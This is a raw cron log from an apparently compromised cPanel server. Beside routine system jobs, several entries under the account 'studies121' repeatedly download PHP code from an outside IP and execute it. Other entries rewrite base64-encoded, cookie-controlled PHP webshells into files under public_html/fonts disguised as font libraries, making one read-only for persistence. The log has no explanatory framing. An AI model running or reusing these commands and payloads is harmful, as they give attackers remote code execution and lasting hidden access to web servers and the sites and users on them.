Aug 31 23:46:01 ip-184-168-122-23 CROND[14154]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 23:46:01 ip-184-168-122-23 CROND[14158]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 23:46:01 ip-184-168-122-23 CROND[14156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:46:01 ip-184-168-122-23 CROND[14157]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:46:01 ip-184-168-122-23 CROND[14159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:47:01 ip-184-168-122-23 CROND[14347]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:47:01 ip-184-168-122-23 CROND[14348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:47:01 ip-184-168-122-23 CROND[14349]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:47:01 ip-184-168-122-23 CROND[14350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:48:01 ip-184-168-122-23 CROND[14437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:48:01 ip-184-168-122-23 CROND[14440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:48:01 ip-184-168-122-23 CROND[14441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:48:01 ip-184-168-122-23 CROND[14439]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 23:48:01 ip-184-168-122-23 CROND[14444]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:49:02 ip-184-168-122-23 CROND[14525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:49:02 ip-184-168-122-23 CROND[14527]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:49:02 ip-184-168-122-23 CROND[14528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:49:02 ip-184-168-122-23 CROND[14526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:50:01 ip-184-168-122-23 CROND[14614]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 23:50:01 ip-184-168-122-23 CROND[14617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:50:01 ip-184-168-122-23 CROND[14619]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 23:50:01 ip-184-168-122-23 CROND[14621]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 23:50:01 ip-184-168-122-23 CROND[14620]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:50:01 ip-184-168-122-23 CROND[14623]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 23:50:01 ip-184-168-122-23 CROND[14624]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 23:50:01 ip-184-168-122-23 CROND[14625]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:50:01 ip-184-168-122-23 CROND[14628]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:51:01 ip-184-168-122-23 CROND[14718]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:51:01 ip-184-168-122-23 CROND[14720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:51:01 ip-184-168-122-23 CROND[14721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:51:01 ip-184-168-122-23 CROND[14722]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:52:01 ip-184-168-122-23 CROND[14897]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:52:01 ip-184-168-122-23 CROND[14898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:52:01 ip-184-168-122-23 CROND[14903]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 23:52:01 ip-184-168-122-23 CROND[14901]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:52:01 ip-184-168-122-23 CROND[14902]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:53:01 ip-184-168-122-23 CROND[14994]: (root) CMD (/usr/lib64/sa/sa2 -A)
Aug 31 23:53:01 ip-184-168-122-23 CROND[14995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:53:01 ip-184-168-122-23 CROND[14997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:53:01 ip-184-168-122-23 CROND[14998]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:53:01 ip-184-168-122-23 CROND[14999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:54:01 ip-184-168-122-23 CROND[15097]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:54:01 ip-184-168-122-23 CROND[15099]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 23:54:01 ip-184-168-122-23 CROND[15100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:54:01 ip-184-168-122-23 CROND[15101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:54:01 ip-184-168-122-23 CROND[15102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:55:01 ip-184-168-122-23 CROND[15189]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:55:01 ip-184-168-122-23 CROND[15191]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 23:55:01 ip-184-168-122-23 CROND[15192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:55:01 ip-184-168-122-23 CROND[15193]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 23:55:01 ip-184-168-122-23 CROND[15194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:55:01 ip-184-168-122-23 CROND[15196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:56:01 ip-184-168-122-23 CROND[15280]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:56:01 ip-184-168-122-23 CROND[15281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:56:01 ip-184-168-122-23 CROND[15285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:56:01 ip-184-168-122-23 CROND[15284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:56:01 ip-184-168-122-23 CROND[15286]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 23:57:01 ip-184-168-122-23 CROND[15644]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:57:01 ip-184-168-122-23 CROND[15646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:57:01 ip-184-168-122-23 CROND[15647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:57:01 ip-184-168-122-23 CROND[15648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:58:01 ip-184-168-122-23 CROND[15740]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 23:58:01 ip-184-168-122-23 CROND[15743]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
